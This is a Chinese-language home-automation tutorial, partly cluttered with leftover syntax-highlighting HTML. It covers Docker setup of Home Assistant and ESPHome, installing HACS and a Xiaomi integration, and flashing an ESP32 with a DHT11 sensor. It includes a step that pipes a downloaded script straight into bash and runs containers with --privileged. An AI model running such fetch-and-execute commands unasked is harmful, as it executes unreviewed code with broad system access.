</span>  -<span class="ruby">-privileged \
</span>  -<span class="ruby">-restart=<span class="hljs-keyword">unless</span>-stopped \
</span>  -<span class="ruby">e TZ=MY_TIME_ZONE \
</span>  -<span class="ruby">v /<span class="hljs-symbol">PATH_TO_YOUR_CONFIG:</span>/config \
</span>  -<span class="ruby">v /run/<span class="hljs-symbol">dbus:</span>/run/<span class="hljs-symbol">dbus:</span>ro \
</span>  -<span class="ruby">-network=host \
</span>  ghcr.io/home-assistant/home-assistant:stable

From home-assistant.io/installation/linux

IP:8123

这里省略初始化过程，简单点击几个按钮即可

安装 HACS

docker exec -it homeassistant bash
wget -O - https:<span class="hljs-regexp">//g</span>et.hacs.xyz | bash -
<span class="hljs-keyword">exit</span>
reboot

点击右下角的齿轮图标,选择设备与服务,然后点击添加集成在弹出的页面中搜索 HACS,并选择进行安装。按提示输入 GitHub 授权码完成登录。

安装 Xiaomi Miot Atuo

在左侧菜单中点击 HACS,搜索 Xiaomi Miot Auto,然后选择下载安装下载完成后,重启 Home Assistant

接入米家设备

点击左下角的齿轮图标,选择设备与服务,然后点击设备点击添加设备,搜索 Xiaomi Miot Auto,并选择 Add devices using Mi Account 进行账号集成。输入小米账号(即米家 APP 我的页面顶部的数字) 和密码。在设备连接模式下,选择 Auto

验证

回到设备页面，随便点击一个米家设备中间的控制菜单必须有等于或多余 1 个控制项

安装 ESPHome

这里以 ESP32+DHT11 温湿度传感器为例于使用 Docker 部署,无法直接通过 Home Assistant 添加插件

docker <span class="hljs-built_in">run</span> -d  --name=<span class="hljs-string">"ESPHome"</span> -e TZ=Asia/Shanghai   -v /<span class="hljs-built_in">home</span>/esphome:/<span class="hljs-built_in">config</span>  -v /<span class="hljs-built_in">run</span>/udev:/<span class="hljs-built_in">run</span>/udev  --privileged  --restart=always  --net=host esphome/esphome

IP:6052

安装 ESPHome 到 ESP32

点击右下角的 NEW DEVICE,然后点击 OPEN ESPHOME WEB 在新页面中选择 CONNECT,选择 ESP32,并点击 INSTALL 进行安装, 安装完成后,进行 WIFI 配置,注意 ESP32 只支持 2.4GHz 的 WIFI 回到 ESPHome 页面,点击 ADOPT 当出现安装页面时,直接点击右下角的 STOP,我们将使用另一种更快的方法

接线

DHT11(有孔那面,由左到右) VCC DATA NC GND

VCC > 3.3V DATA > D2 NC GND > GND P.S: 这里需要注意,必须在 VCC 与 DATA 中串一个 4.7kΩ的电阻

编译固件

以下配置基于我的需求,请根据实际情况进行相应修改

<span class="hljs-attr">substitutions:</span>
<span class="hljs-attr">  name:</span> esphome-web-xxxxxx
<span class="hljs-attr">  friendly_name:</span> ESPHome Web xxxxxx

<span class="hljs-attr">esphome:</span>
<span class="hljs-attr">  name:</span> ${name}
<span class="hljs-attr">  friendly_name:</span> ${friendly_name}
<span class="hljs-attr">  min_version:</span> <span class="hljs-number">2024.6</span><span class="hljs-number">.0</span>
<span class="hljs-attr">  name_add_mac_suffix:</span> <span class="hljs-literal">false</span>
<span class="hljs-attr">  project:</span>
<span class="hljs-attr">    name:</span> esphome.web
<span class="hljs-attr">    version:</span> dev

<span class="hljs-attr">esp32:</span>
<span class="hljs-attr">  board:</span> esp32dev
<span class="hljs-attr">  framework:</span>
<span class="hljs-attr">    type:</span> arduino

<span class="hljs-comment"># Enable logging</span>
<span class="hljs-attr">logger:</span>

<span class="hljs-comment"># Enable Home Assistant API</span>
<span class="hljs-attr">api:</span>

<span class="hljs-comment"># Allow Over-The-Air updates</span>
<span class="hljs-attr">ota:</span>
<span class="hljs-attr">- platform:</span> esphome

<span class="hljs-comment"># Allow provisioning Wi-Fi via serial</span>
<span class="hljs-attr">improv_serial:</span>

<span class="hljs-attr">wifi:</span>
  <span class="hljs-comment"># Set up a wifi access point</span>
<span class="hljs-attr">  ap:</span> {}

<span class="hljs-comment"># In combination with the `ap` this allows the user</span>
<span class="hljs-comment"># to provision wifi credentials to the device via WiFi AP.</span>
<span class="hljs-attr">captive_portal:</span>

<span class="hljs-attr">dashboard_import:</span>
<span class="hljs-attr">  package_import_url:</span> github://esphome/example-configs/esphome-web/esp32.yaml@main
<span class="hljs-attr">  import_full_config:</span> <span class="hljs-literal">true</span>

<span class="hljs-comment"># Sets up Bluetooth LE (Only on ESP32) to allow the user</span>
<span class="hljs-comment"># to provision wifi credentials to the device.</span>
<span class="hljs-attr">esp32_improv:</span>
<span class="hljs-attr">  authorizer:</span> none

<span class="hljs-comment"># To have a "next url" for improv serial</span>
<span class="hljs-attr">web_server:</span>

<span class="hljs-comment"># Example configuration entry</span>
<span class="hljs-attr">sensor:</span>
<span class="hljs-attr">  - platform:</span> dht
<span class="hljs-attr">    pin:</span> GPIO2 
<span class="hljs-attr">    temperature:</span>
<span class="hljs-attr">      name:</span> <span class="hljs-string">"Temperature"</span>
<span class="hljs-attr">    humidity:</span>
<span class="hljs-attr">      name:</span> <span class="hljs-string">"Humidity"</span>
<span class="hljs-attr">    update_interval:</span> <span class="hljs-number">60</span>s

pip <span class="hljs-keyword">install</span> esphome 
esphome compile <span class="hljs-number">0</span>.yaml <span class="hljs-comment">#修改成上方的 yaml 文件</span>

编译后的固件位于.pioenvs\esphome-web-8ffb98\firmware.bin

ESP32 的 IP:80 OTA Update>选择 firmware.bin 文件>Update

接入 ESPHome

点击左下角的齿轮图标,选择设备与服务,然后点击设备点击添加设备,选择 ESPHome,并在主机字段中输入 ESP32 的 IP 地址(注意:这里输入的是 ESP32 的 IP，而非 ESPHome 服务端的 IP) 再后回到设备页面，应该会看到设备名为 ESPHome Web xxxxxx